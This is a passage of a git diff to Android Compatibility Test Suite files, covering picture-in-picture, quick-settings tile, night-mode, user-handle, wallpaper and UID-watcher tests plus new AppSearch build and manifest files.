- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.app.cts;
-
-import static android.content.pm.PackageManager.FEATURE_PICTURE_IN_PICTURE;
-
-import static org.junit.Assert.fail;
-
-import android.app.Instrumentation;
-import android.app.PictureInPictureParams;
-import android.app.stubs.PipActivity;
-import android.content.ComponentName;
-import android.content.Intent;
-import android.os.SystemClock;
-import android.platform.test.annotations.Presubmit;
-import android.test.ActivityInstrumentationTestCase2;
-
-import androidx.test.filters.FlakyTest;
-
-import java.util.function.BooleanSupplier;
-
-/**
- * Run: atest android.app.cts.PipActivityTest
- */
-@Presubmit
-@FlakyTest(detail = "Promote to presubmit when shown to be stable.")
-public class PipActivityTest extends ActivityInstrumentationTestCase2<PipActivity> {
-
- private static final long TIME_SLICE_MS = 250;
- private static final long MAX_WAIT_MS = 5000;
-
- private Instrumentation mInstrumentation;
- private PipActivity mActivity;
-
- public PipActivityTest() {
- super("android.app.stubs", PipActivity.class);
- }
-
- @Override
- protected void setUp() throws Exception {
- super.setUp();
- mInstrumentation = getInstrumentation();
- mActivity = getActivity();
- }
-
- public void testLaunchPipActivity() throws Throwable {
- final boolean supportsPip =
- mActivity.getPackageManager().hasSystemFeature(FEATURE_PICTURE_IN_PICTURE);
-
- if (supportsPip) {
- mActivity.enterPictureInPictureMode();
-
- // Entering PIP mode is not synchronous, so wait for the expected callbacks
- waitAndAssertCondition(() -> {
- return mActivity.getMultiWindowChangedCount() == 1 &&
- mActivity.getPictureInPictureModeChangedCount() == 1;
- }, "Pip/mw changed when going into picture-in-picture mode");
-
- // Ensure that the current state and also the last reported callback values match
- assertTrue(mActivity.isInMultiWindowMode());
- assertTrue(mActivity.isInPictureInPictureMode());
- assertTrue(mActivity.getLastReportedMultiWindowMode());
- assertTrue(mActivity.getLastReporterPictureInPictureMode());
- } else {
- assertTrue(!mActivity.enterPictureInPictureMode(
- new PictureInPictureParams.Builder().build()));
-
- // Entering PIP mode is not synchronous, so waiting for completion of all work
- SystemClock.sleep(5000);
-
- // Ensure that the current state and also the last reported callback
- // values match
- assertFalse(mActivity.isInMultiWindowMode());
- assertFalse(mActivity.isInPictureInPictureMode());
- assertFalse(mActivity.getLastReportedMultiWindowMode());
- assertFalse(mActivity.getLastReporterPictureInPictureMode());
- }
- mInstrumentation.waitForIdleSync();
-
- if (supportsPip) {
- // Relaunch the activity to make it fullscreen
- Intent intent = Intent.makeMainActivity(new ComponentName("android.app.stubs",
- "android.app.stubs.PipActivity"));
- intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK | Intent.FLAG_ACTIVITY_SINGLE_TOP);
- mInstrumentation.getContext().startActivity(intent);
-
- // Exiting PIP mode is not synchronous, so wait for the expected callbacks
- waitAndAssertCondition(() -> {
- return mActivity.getMultiWindowChangedCount() == 2 &&
- mActivity.getPictureInPictureModeChangedCount() == 2;
- }, "Pip/mw callback when going to fullscreen mode");
-
- // Ensure that the current state and also the last reported callback values match
- assertFalse(mActivity.getLastReportedMultiWindowMode());
- assertFalse(mActivity.getLastReporterPictureInPictureMode());
- }
- }
-
- private void waitAndAssertCondition(BooleanSupplier condition, String failMsgContext) {
- long startTime = SystemClock.elapsedRealtime();
- while (true) {
- if (condition.getAsBoolean()) {
- // Condition passed
- return;
- } else if (SystemClock.elapsedRealtime() > (startTime + MAX_WAIT_MS)) {
- // Timed out
- fail("Timed out waiting for: " + failMsgContext);
- } else {
- SystemClock.sleep(TIME_SLICE_MS);
- }
- }
- }
-}
diff --git a/tests/app/src/android/app/cts/TileServiceTest.java b/tests/app/src/android/app/cts/TileServiceTest.java
index 35faf28..9b40fdd 100644
--- a/tests/app/src/android/app/cts/TileServiceTest.java
+++ b/tests/app/src/android/app/cts/TileServiceTest.java
@@ -18,116 +18,48 @@
import android.app.AlertDialog;
import android.app.Dialog;
-import android.app.UiAutomation;
import android.app.stubs.TestTileService;
-import android.content.Intent;
-import android.content.pm.PackageManager;
import android.os.Looper;
-import android.os.ParcelFileDescriptor;
import android.service.quicksettings.Tile;
import android.service.quicksettings.TileService;
-import android.support.test.uiautomator.By;
-import android.support.test.uiautomator.UiDevice;
-import android.support.test.uiautomator.Until;
-import android.test.AndroidTestCase;
-import androidx.test.filters.FlakyTest;
-import androidx.test.InstrumentationRegistry;
-
-import junit.framework.Assert;
-
-import java.io.FileInputStream;
-import java.io.IOException;
-import java.io.InputStream;
-
-public class TileServiceTest extends AndroidTestCase {
- final String TAG = TileServiceTest.class.getSimpleName();
-
- // Time between checks for state we expect.
- private static final long CHECK_DELAY = 250;
- // Number of times to check before failing. This is set so the maximum wait time is about 4s,
- // as some tests were observed to take around 3s.
- private static final long CHECK_RETRIES = 15;
- // Timeout to wait for launcher
- private static final long TIMEOUT = 8000;
-
- private TileService mTileService;
- private Intent homeIntent;
- private String mLauncherPackage;
-
- @Override
- protected void setUp() throws Exception {
- super.setUp();
- homeIntent = new Intent(Intent.ACTION_MAIN);
- homeIntent.addCategory(Intent.CATEGORY_HOME);
-
- mLauncherPackage = mContext.getPackageManager().resolveActivity(homeIntent,
- PackageManager.MATCH_DEFAULT_ONLY).activityInfo.packageName;
-
- // Wait for home
- UiDevice device = UiDevice.getInstance(InstrumentationRegistry.getInstrumentation());
- device.pressHome();
- device.wait(Until.hasObject(By.pkg(mLauncherPackage).depth(0)), TIMEOUT);
- }
-
- @Override
- protected void tearDown() throws Exception {
- expandSettings(false);
- toggleServiceAccess(TestTileService.getComponentName().flattenToString(), false);
- waitForConnected(false);
- assertNull(TestTileService.getInstance());
- }
+public class TileServiceTest extends BaseTileServiceTest {
+ private final static String TAG = "TileServiceTest";
public void testCreateTileService() {
final TileService tileService = new TileService();
}
+
public void testListening() throws Exception {
if (!TileService.isQuickSettingsSupported()) return;
- startTileService();
- expandSettings(true);
- waitForListening(true);
+ initializeAndListen();
}
public void testListening_stopped() throws Exception {
- if (!TileService.isQuickSettingsSupported()) return;
- startTileService();
- expandSettings(true);
- waitForListening(true);
+ initializeAndListen();
expandSettings(false);
waitForListening(false);
}
public void testLocked_deviceNotLocked() throws Exception {
- if (!TileService.isQuickSettingsSupported()) return;
- startTileService();
- expandSettings(true);
- waitForListening(true);
+ initializeAndListen();
assertFalse(mTileService.isLocked());
}
public void testSecure_deviceNotSecure() throws Exception {
- if (!TileService.isQuickSettingsSupported()) return;
- startTileService();
- expandSettings(true);
- waitForListening(true);
+ initializeAndListen();
assertFalse(mTileService.isSecure());
}
public void testTile_hasCorrectIcon() throws Exception {
- if (!TileService.isQuickSettingsSupported()) return;
- startTileService();
- expandSettings(true);
- waitForListening(true);
+ initializeAndListen();
Tile tile = mTileService.getQsTile();
assertEquals(TestTileService.ICON_ID, tile.getIcon().getResId());
}
public void testTile_hasCorrectSubtitle() throws Exception {
- if (!TileService.isQuickSettingsSupported()) return;
- startTileService();
- expandSettings(true);
- waitForListening(true);
+ initializeAndListen();
Tile tile = mTileService.getQsTile();
tile.setSubtitle("test_subtitle");
@@ -136,12 +68,9 @@
}
public void testShowDialog() throws Exception {
- if (!TileService.isQuickSettingsSupported()) return;
Looper.prepare();
Dialog dialog = new AlertDialog.Builder(mContext).create();
- startTileService();
- expandSettings(true);
- waitForListening(true);
+ initializeAndListen();
clickTile(TestTileService.getComponentName().flattenToString());
waitForClick();
@@ -152,10 +81,7 @@
}
public void testUnlockAndRun_phoneIsUnlockedActivityIsRun() throws Exception {
- if (!TileService.isQuickSettingsSupported()) return;
- startTileService();
- expandSettings(true);
- waitForListening(true);
+ initializeAndListen();
assertFalse(mTileService.isLocked());
TestRunnable testRunnable = new TestRunnable();
@@ -165,40 +91,19 @@
waitForRun(testRunnable);
}
- private void startTileService() throws Exception {
- toggleServiceAccess(TestTileService.getComponentName().flattenToString(), true);
- waitForConnected(true); // wait for service to be bound
- mTileService = TestTileService.getInstance();
- assertNotNull(mTileService);
- }
+ public void testTileInDumpAndHasState() throws Exception {
+ initializeAndListen();
- private void toggleServiceAccess(String componentName, boolean on) throws Exception {
+ final CharSequence tileLabel = mTileService.getQsTile().getLabel();
- String command = " cmd statusbar " + (on ? "add-tile " : "remove-tile ")
- + componentName;
-
- runCommand(command);
+ final String[] dumpLines = executeShellCommand(DUMP_COMMAND).split("\n");
+ final String line = findLine(dumpLines, tileLabel);
+ assertNotNull(line);
+ assertTrue(line.trim().startsWith("State")); // Not BooleanState
}
private void clickTile(String componentName) throws Exception {
- runCommand(" cmd statusbar click-tile " + componentName);
- }
-
- private void runCommand(String command) throws IOException {
- UiAutomation uiAutomation = InstrumentationRegistry.getInstrumentation().getUiAutomation();
- // Execute command
- try (ParcelFileDescriptor fd = uiAutomation.executeShellCommand(command)) {
- Assert.assertNotNull("Failed to execute shell command: " + command, fd);
- // Wait for the command to finish by reading until EOF
- try (InputStream in = new FileInputStream(fd.getFileDescriptor())) {
- byte[] buffer = new byte[4096];
- while (in.read(buffer) > 0) {}
- } catch (IOException e) {
- throw new IOException("Could not read stdout of command: " + command, e);
- }
- } finally {
- uiAutomation.destroy();
- }
+ executeShellCommand(" cmd statusbar click-tile " + componentName);
}
/**
@@ -225,13 +130,8 @@
assertTrue(t.hasRan);
}
- /**
- * Waits for the TileService to be in the expected listening state. If it times out, it fails
- * the test
- * @param state desired listening state
- * @throws InterruptedException
- */
- private void waitForListening(boolean state) throws InterruptedException {
+ @Override
+ protected void waitForListening(boolean state) throws InterruptedException {
int ct = 0;
while (TestTileService.isListening() != state && (ct++ < CHECK_RETRIES)) {
Thread.sleep(CHECK_DELAY);
@@ -245,7 +145,8 @@
* @param state desired connected state
* @throws InterruptedException
*/
- private void waitForConnected(boolean state) throws InterruptedException {
+ @Override
+ protected void waitForConnected(boolean state) throws InterruptedException {
int ct = 0;
while (TestTileService.isConnected() != state && (ct++ < CHECK_RETRIES)) {
Thread.sleep(CHECK_DELAY);
@@ -253,9 +154,19 @@
assertEquals(state, TestTileService.isConnected());
}
- private void expandSettings(boolean expand) throws Exception {
- runCommand(" cmd statusbar " + (expand ? "expand-settings" : "collapse"));
- Thread.sleep(200); // wait for animation
+ @Override
+ protected String getTag() {
+ return TAG;
+ }
+
+ @Override
+ protected String getComponentName() {
+ return TestTileService.getComponentName().flattenToString();
+ }
+
+ @Override
+ protected TileService getTileServiceInstance() {
+ return TestTileService.getInstance();
}
class TestRunnable implements Runnable {
diff --git a/tests/app/src/android/app/cts/UiModeManagerTest.java b/tests/app/src/android/app/cts/UiModeManagerTest.java
index 55da157..ccf2043 100644
--- a/tests/app/src/android/app/cts/UiModeManagerTest.java
+++ b/tests/app/src/android/app/cts/UiModeManagerTest.java
@@ -22,12 +22,19 @@
import android.content.Context;
import android.content.pm.PackageManager;
import android.content.res.Configuration;
+import android.os.ParcelFileDescriptor;
import android.test.AndroidTestCase;
import android.util.Log;
import com.android.compatibility.common.util.BatteryUtils;
import com.android.compatibility.common.util.SettingsUtils;
+import junit.framework.Assert;
+
+import java.io.FileInputStream;
+import java.io.IOException;
+import java.io.InputStream;
+
public class UiModeManagerTest extends AndroidTestCase {
private static final String TAG = "UiModeManagerTest";
@@ -71,6 +78,22 @@
}
}
+ public void testNightModeYesPersisted() {
+ setNightMode(UiModeManager.MODE_NIGHT_NO);
+ assertStoredNightModeSetting(UiModeManager.MODE_NIGHT_NO);
+
+ setNightMode(UiModeManager.MODE_NIGHT_YES);
+ assertStoredNightModeSetting(UiModeManager.MODE_NIGHT_YES);
+ }
+
+ public void testNightModeAutoPersisted() {
+ setNightMode(UiModeManager.MODE_NIGHT_NO);
+ assertStoredNightModeSetting(UiModeManager.MODE_NIGHT_NO);
+
+ setNightMode(UiModeManager.MODE_NIGHT_AUTO);
+ assertStoredNightModeSetting(UiModeManager.MODE_NIGHT_AUTO);
+ }
+
public void testNightModeInCarModeIsTransient() {
if (mUiModeManager.isNightModeLocked()) {
return;
@@ -277,4 +300,35 @@
int storedModeInt = Integer.parseInt(storedMode);
assertEquals(mode, storedModeInt);
}
+
+ private void setNightMode(int mode) {
+ final UiAutomation uiAutomation = getInstrumentation().getUiAutomation();
+ String modeString = "unknown";
+ switch (mode) {
+ case UiModeManager.MODE_NIGHT_AUTO:
+ modeString = "auto";
+ break;
+ case UiModeManager.MODE_NIGHT_NO:
+ modeString = "no";
+ break;
+ case UiModeManager.MODE_NIGHT_YES:
+ modeString = "yes";
+ break;
+ }
+ final String command = " cmd uimode night " + modeString;
+ try (ParcelFileDescriptor fd = uiAutomation.executeShellCommand(command)) {
+ Assert.assertNotNull("Failed to execute shell command: " + command, fd);
+ // Wait for the command to finish by reading until EOF
+ try (InputStream in = new FileInputStream(fd.getFileDescriptor())) {
+ byte[] buffer = new byte[4096];
+ while (in.read(buffer) > 0) continue;
+ } catch (IOException e) {
+ throw new IOException("Could not read stdout of command: " + command, e);
+ }
+ } catch (IOException e) {
+ fail();
+ } finally {
+ uiAutomation.destroy();
+ }
+ }
}
diff --git a/tests/app/src/android/app/cts/UserHandleTest.java b/tests/app/src/android/app/cts/UserHandleTest.java
new file mode 100644
index 0000000..342ee36
--- /dev/null
+++ b/tests/app/src/android/app/cts/UserHandleTest.java
@@ -0,0 +1,58 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.app.cts;
+
+import android.os.Parcel;
+import android.os.UserHandle;
+import android.test.AndroidTestCase;
+
+public class UserHandleTest extends AndroidTestCase {
+ private static void assertSameUserHandle(int userId) {
+ assertSame(UserHandle.of(userId), UserHandle.of(userId));
+ }
+
+ public void testOf() {
+ for (int i = -1000; i < 100; i++) {
+ assertEquals(i, UserHandle.of(i).getIdentifier());
+ }
+
+ // Ensure common objects are cached.
+ assertSameUserHandle(UserHandle.USER_SYSTEM);
+ assertSameUserHandle(UserHandle.USER_ALL);
+ assertSameUserHandle(UserHandle.USER_NULL);
+ assertSameUserHandle(UserHandle.MIN_SECONDARY_USER_ID);
+ assertSameUserHandle(UserHandle.MIN_SECONDARY_USER_ID + 1);
+ }
+
+ private static void assertParcel(int userId) {
+ Parcel p = Parcel.obtain();
+ p.writeParcelable(UserHandle.of(userId), 0);
+ p.setDataPosition(0);
+
+ UserHandle read = p.readParcelable(UserHandleTest.class.getClassLoader());
+
+ assertEquals(userId, read.getIdentifier());
+
+ p.recycle();
+ }
+
+ public void testParcel() {
+ for (int i = -1000; i < 100; i++) {
+ assertParcel(i);
+ }
+ }
+}
diff --git a/tests/app/src/android/app/cts/WallpaperManagerTest.java b/tests/app/src/android/app/cts/WallpaperManagerTest.java
index 3b9934a..7c284b0 100644
--- a/tests/app/src/android/app/cts/WallpaperManagerTest.java
+++ b/tests/app/src/android/app/cts/WallpaperManagerTest.java
@@ -21,7 +21,6 @@
import static org.mockito.ArgumentMatchers.anyInt;
import static org.mockito.ArgumentMatchers.nullable;
import static org.mockito.Mockito.atLeast;
-import static org.mockito.Mockito.mock;
import static org.mockito.Mockito.never;
import static org.mockito.Mockito.spy;
import static org.mockito.Mockito.verify;
@@ -47,6 +46,9 @@
import androidx.test.InstrumentationRegistry;
import androidx.test.runner.AndroidJUnit4;
+import com.android.compatibility.common.util.SystemUtil;
+
+import org.junit.After;
import org.junit.Assert;
import org.junit.Before;
import org.junit.Test;
@@ -67,6 +69,8 @@
private WallpaperManager mWallpaperManager;
private Context mContext;
private Handler mHandler;
+ private BroadcastReceiver mBroadcastReceiver;
+ private CountDownLatch mCountDownLatch;
@Before
public void setUp() throws Exception {
@@ -77,6 +81,24 @@
final HandlerThread handlerThread = new HandlerThread("TestCallbacks");
handlerThread.start();
mHandler = new Handler(handlerThread.getLooper());
+ mCountDownLatch = new CountDownLatch(1);
+ mBroadcastReceiver = new BroadcastReceiver() {
+ @Override
+ public void onReceive(Context context, Intent intent) {
+ mCountDownLatch.countDown();
+ if (DEBUG) {
+ Log.d(TAG, "broadcast state count down: " + mCountDownLatch.getCount());
+ }
+ }
+ };
+ mContext.registerReceiver(mBroadcastReceiver,
+ new IntentFilter(Intent.ACTION_WALLPAPER_CHANGED));
+ }
+
+ @After
+ public void tearDown() throws Exception {
+ mWallpaperManager.clear();
+ mContext.unregisterReceiver(mBroadcastReceiver);
}
@Test
@@ -119,22 +141,12 @@
Canvas canvas = new Canvas(tmpWallpaper);
canvas.drawColor(Color.BLACK);
- CountDownLatch latch = new CountDownLatch(1);
- mContext.registerReceiver(new BroadcastReceiver() {
- @Override
- public void onReceive(Context context, Intent intent) {
- latch.countDown();
- }
- }, new IntentFilter(Intent.ACTION_WALLPAPER_CHANGED));
-
try {
mWallpaperManager.setBitmap(tmpWallpaper);
// Wait for up to 5 sec since this is an async call.
// Should fail if Intent.ACTION_WALLPAPER_CHANGED isn't delivered.
- if (!latch.await(5, TimeUnit.SECONDS)) {
- throw new AssertionError("Intent.ACTION_WALLPAPER_CHANGED not received.");
- }
+ Assert.assertTrue(mCountDownLatch.await(5, TimeUnit.SECONDS));
} catch (InterruptedException | IOException e) {
throw new AssertionError("Intent.ACTION_WALLPAPER_CHANGED not received.");
} finally {
@@ -144,22 +156,12 @@
@Test
public void wallpaperClearBroadcastTest() {
- CountDownLatch latch = new CountDownLatch(1);
- mContext.registerReceiver(new BroadcastReceiver() {
- @Override
- public void onReceive(Context context, Intent intent) {
- latch.countDown();
- }
- }, new IntentFilter(Intent.ACTION_WALLPAPER_CHANGED));
-
try {
mWallpaperManager.clear(WallpaperManager.FLAG_LOCK | WallpaperManager.FLAG_SYSTEM);
// Wait for 5 sec since this is an async call.
// Should fail if Intent.ACTION_WALLPAPER_CHANGED isn't delivered.
- if (!latch.await(5, TimeUnit.SECONDS)) {
- throw new AssertionError("Intent.ACTION_WALLPAPER_CHANGED not received.");
- }
+ Assert.assertTrue(mCountDownLatch.await(5, TimeUnit.SECONDS));
} catch (InterruptedException | IOException e) {
throw new AssertionError(e);
}
@@ -301,6 +303,63 @@
}
}
+ @Test
+ public void highRatioWallpaper_largeWidth() throws Exception {
+ final String sysuiPid = getSysuiPid();
+ Bitmap highRatioWallpaper = Bitmap.createBitmap(800, 8000, Bitmap.Config.ARGB_8888);
+ Canvas canvas = new Canvas(highRatioWallpaper);
+ canvas.drawColor(Color.RED);
+
+ try {
+ mWallpaperManager.setBitmap(highRatioWallpaper);
+
+ Assert.assertTrue(mCountDownLatch.await(5, TimeUnit.SECONDS));
+ Assert.assertTrue(sysuiPid.contentEquals(getSysuiPid()));
+ } finally {
+ highRatioWallpaper.recycle();
+ }
+ }
+
+ @Test
+ public void highRatioWallpaper_largeHeight() throws Exception {
+ final String sysuiPid = getSysuiPid();
+ Bitmap highRatioWallpaper = Bitmap.createBitmap(8000, 800, Bitmap.Config.ARGB_8888);
+ Canvas canvas = new Canvas(highRatioWallpaper);
+ canvas.drawColor(Color.RED);
+
+ try {
+ mWallpaperManager.setBitmap(highRatioWallpaper);
+
+ Assert.assertTrue(mCountDownLatch.await(5, TimeUnit.SECONDS));
+ Assert.assertTrue(sysuiPid.contentEquals(getSysuiPid()));
+ } finally {
+ highRatioWallpaper.recycle();
+ }
+ }
+
+ @Test
+ public void highResolutionWallpaper() throws Exception {
+ final String sysuiPid = getSysuiPid();
+ Bitmap highResolutionWallpaper = Bitmap.createBitmap(10000, 10000, Bitmap.Config.ARGB_8888);
+ Canvas canvas = new Canvas(highResolutionWallpaper);
+ canvas.drawColor(Color.BLUE);
+
+ try {
+ mWallpaperManager.setBitmap(highResolutionWallpaper);
+
+ Assert.assertTrue(mCountDownLatch.await(5, TimeUnit.SECONDS));
+ Assert.assertTrue(sysuiPid.contentEquals(getSysuiPid()));
+ } finally {
+ highResolutionWallpaper.recycle();
+ }
+ }
+
+ private static String getSysuiPid() {
+ final String sysuiPkgName = "com.android.systemui";
+ final String sysuiPid = "pidof " + sysuiPkgName;
+ return SystemUtil.runShellCommand(sysuiPid);
+ }
+
private void assertDesiredDimension(Point suggestedSize, Point expectedSize) {
mWallpaperManager.suggestDesiredDimensions(suggestedSize.x, suggestedSize.y);
Point actualSize = new Point(mWallpaperManager.getDesiredMinimumWidth(),
@@ -424,31 +483,22 @@
// • System colors are known
// • Lock colors are known
final int expectedEvents = 5;
- CountDownLatch latch = new CountDownLatch(expectedEvents);
+ mCountDownLatch = new CountDownLatch(expectedEvents);
if (DEBUG) {
- Log.d("WP", "Started latch expecting: " + latch.getCount());
+ Log.d(TAG, "Started latch expecting: " + mCountDownLatch.getCount());
}
- BroadcastReceiver receiver = new BroadcastReceiver() {
- @Override
- public void onReceive(Context context, Intent intent) {
- latch.countDown();
- if (DEBUG) {
- Log.d("WP", "broadcast state count down: " + latch.getCount());
- }
- }
- };
+
WallpaperManager.OnColorsChangedListener callback = (colors, which) -> {
if ((which & WallpaperManager.FLAG_LOCK) != 0) {
- latch.countDown();
+ mCountDownLatch.countDown();
}
if ((which & WallpaperManager.FLAG_SYSTEM) != 0) {
- latch.countDown();
+ mCountDownLatch.countDown();
}
if (DEBUG) {
- Log.d("WP", "color state count down: " + which + " - " + colors);
+ Log.d(TAG, "color state count down: " + which + " - " + colors);
}
};
- mContext.registerReceiver(receiver, new IntentFilter(Intent.ACTION_WALLPAPER_CHANGED));
mWallpaperManager.addOnColorsChangedListener(callback, mHandler);
try {
@@ -456,14 +506,11 @@
// Wait for up to 10 sec since this is an async call.
// Will pass as soon as the expected callbacks are executed.
- latch.await(10, TimeUnit.SECONDS);
- if (latch.getCount() != 0) {
- Log.w(TAG, "Did not receive all events! This is probably a bug.");
- }
+ Assert.assertTrue(mCountDownLatch.await(10, TimeUnit.SECONDS));
+ Assert.assertEquals(0, mCountDownLatch.getCount());
} catch (InterruptedException | IOException e) {
throw new RuntimeException("Can't ensure a clean state.");
} finally {
- mContext.unregisterReceiver(receiver);
mWallpaperManager.removeOnColorsChangedListener(callback);
bmp.recycle();
}
diff --git a/tests/app/src/android/app/cts/android/app/cts/tools/ServiceProcessController.java b/tests/app/src/android/app/cts/android/app/cts/tools/ServiceProcessController.java
index 01235ae..80c3225 100644
--- a/tests/app/src/android/app/cts/android/app/cts/tools/ServiceProcessController.java
+++ b/tests/app/src/android/app/cts/android/app/cts/tools/ServiceProcessController.java
@@ -215,6 +215,6 @@
throw new IllegalStateException("Unexpected importance after killing process: "
+ importance);
}
- mUidWatcher.waitFor(WatchUidRunner.CMD_GONE, null, timeout);
+ mUidWatcher.waitFor(WatchUidRunner.CMD_GONE, timeout);
}
}
diff --git a/tests/app/src/android/app/cts/android/app/cts/tools/WatchUidRunner.java b/tests/app/src/android/app/cts/android/app/cts/tools/WatchUidRunner.java
index e6e844f..8e631cb 100644
--- a/tests/app/src/android/app/cts/android/app/cts/tools/WatchUidRunner.java
+++ b/tests/app/src/android/app/cts/android/app/cts/tools/WatchUidRunner.java
@@ -47,6 +47,7 @@
public static final int CMD_UNCACHED = 3;
public static final int CMD_CACHED = 4;
public static final int CMD_GONE = 5;
+ public static final int CMD_CAPABILITY = 6;
public static final String STATE_PERSISTENT = "PER";
public static final String STATE_PERSISTENT_UI = "PERU";
@@ -72,7 +73,7 @@
public static final String STATE_NONEXISTENT = "NONE";
static final String[] COMMAND_TO_STRING = new String[] {
- "procstate", "active", "idle", "uncached", "cached", "gone"
+ "procstate", "active", "idle", "uncached", "cached", "gone", "capability"
};
final Instrumentation mInstrumentation;
@@ -133,7 +134,7 @@
public void expect(int cmd, String procState, long timeout) {
long waitUntil = SystemClock.uptimeMillis() + timeout;
- String[] line = waitForNextLine(waitUntil, cmd, procState);
+ String[] line = waitForNextLine(waitUntil, cmd, procState, 0);
if (!COMMAND_TO_STRING[cmd].equals(line[1])) {
String msg = "Expected cmd " + COMMAND_TO_STRING[cmd]
+ " uid " + mUid + " but next report was " + Arrays.toString(line);
@@ -151,26 +152,61 @@
Log.d(TAG, "Got expected: " + Arrays.toString(line));
}
+ public void waitFor(int cmd) {
+ waitFor(cmd, null, null, mDefaultWaitTime);
+ }
+
+ public void waitFor(int cmd, long timeout) {
+ waitFor(cmd, null, null, timeout);
+ }
+
public void waitFor(int cmd, String procState) {
- waitFor(cmd, procState, mDefaultWaitTime);
+ waitFor(cmd, procState, null, mDefaultWaitTime);
+ }
+
+ public void waitFor(int cmd, String procState, Integer capability) {
+ waitFor(cmd, procState, capability, mDefaultWaitTime);
}
public void waitFor(int cmd, String procState, long timeout) {
+ waitFor(cmd, procState, null, timeout);
+ }
+
+ public void waitFor(int cmd, String procState, Integer capability, long timeout) {
long waitUntil = SystemClock.uptimeMillis() + timeout;
while (true) {
- String[] line = waitForNextLine(waitUntil, cmd, procState);
+ String[] line = waitForNextLine(waitUntil, cmd, procState, capability);
if (COMMAND_TO_STRING[cmd].equals(line[1])) {
- if (procState == null) {
+ if (procState == null && capability == null) {
Log.d(TAG, "Waited for: " + Arrays.toString(line));
return;
}
- if (line.length >= 3 && procState.equals(line[2])) {
- Log.d(TAG, "Waited for: " + Arrays.toString(line));
- return;
+ if (cmd == CMD_PROCSTATE) {
+ if (procState != null && capability != null) {
+ if (procState.equals(line[2]) && capability.toString().equals(line[6])) {
+ Log.d(TAG, "Waited for: " + Arrays.toString(line));
+ return;
+ }
+ } else if (procState != null) {
+ if (procState.equals(line[2])) {
+ Log.d(TAG, "Waited for: " + Arrays.toString(line));
+ return;
+ }
+ } else if (capability != null) {
+ if (capability.toString().equals(line[6])) {
+ Log.d(TAG, "Waited for: " + Arrays.toString(line));
+ return;
+ }
+ }
} else {
- Log.d(TAG, "Skipping because procstate not " + procState + ": "
- + Arrays.toString(line));
+ if (procState != null
+ && procState.equals(line[2])) {
+ Log.d(TAG, "Waited for: " + Arrays.toString(line));
+ return;
+ }
}
+ Log.d(TAG, "Skipping because procstate not " + procState + ": "
+ + Arrays.toString(line));
} else {
Log.d(TAG, "Skipping because not " + COMMAND_TO_STRING[cmd] + ": "
+ Arrays.toString(line));
@@ -191,14 +227,15 @@
}
}
- String[] waitForNextLine(long waitUntil, int cmd, String procState) {
+ String[] waitForNextLine(long waitUntil, int cmd, String procState, Integer capability) {
synchronized (mPendingLines) {
while (true) {
while (mPendingLines.size() == 0) {
long now = SystemClock.uptimeMillis();
if (now >= waitUntil) {
- String msg = "Timed out waiting for next line: "
- + "cmd=" + COMMAND_TO_STRING[cmd] + " procState=" + procState;
+ String msg = "Timed out waiting for next line: uid=" + mUidStr
+ + " cmd=" + COMMAND_TO_STRING[cmd] + " procState=" + procState
+ + " capability=" + capability;
Log.d(TAG, msg);
throw new IllegalStateException(msg);
}
diff --git a/tests/apppredictionservice/AndroidTest.xml b/tests/apppredictionservice/AndroidTest.xml
index 8166a4c..5a689be 100644
--- a/tests/apppredictionservice/AndroidTest.xml
+++ b/tests/apppredictionservice/AndroidTest.xml
@@ -18,6 +18,7 @@
<option name="config-descriptor:metadata" key="component" value="framework" />
<option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
<option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+ <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
<option name="test-file-name" value="CtsAppPredictionServiceTestCases.apk" />
diff --git a/tests/appsearch/Android.bp b/tests/appsearch/Android.bp
new file mode 100644
index 0000000..ed6710d
--- /dev/null
+++ b/tests/appsearch/Android.bp
@@ -0,0 +1,32 @@
+// Copyright (C) 2019 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+ name: "CtsAppSearchTestCases",
+ defaults: ["cts_defaults"],
+ static_libs: [
+ "androidx.test.ext.junit",
+ "androidx.test.rules",
+ "compatibility-device-util-axt",
+ ],
+ srcs: [
+ "src/**/*.java",
+ ],
+ test_suites: [
+ "cts",
+ "vts",
+ "general-tests",
+ ],
+ platform_apis: true,
+}
\ No newline at end of file
diff --git a/tests/appsearch/AndroidManifest.xml b/tests/appsearch/AndroidManifest.xml
new file mode 100644
index 0000000..7eac46b
--- /dev/null
+++ b/tests/appsearch/AndroidManifest.xml
@@ -0,0 +1,26 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ ~ Copyright (C) 2019 The Android Open Source Project
+ ~
+ ~ Licensed under the Apache License, Version 2.0 (the "License");
+ ~ you may not use this file except in compliance with the License.
+ ~ You may obtain a copy of the License at
+ ~
+ ~ http://www.apache.org/licenses/LICENSE-2.0
+ ~
+ ~ Unless required by applicable law or agreed to in writing, software
+ ~ distributed under the License is distributed on an "AS IS" BASIS,
+ ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ ~ See the License for the specific language governing permissions and
+ ~ limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="com.android.cts.appsearch" >
+ <application android:label="CtsAppSearchTestCases">
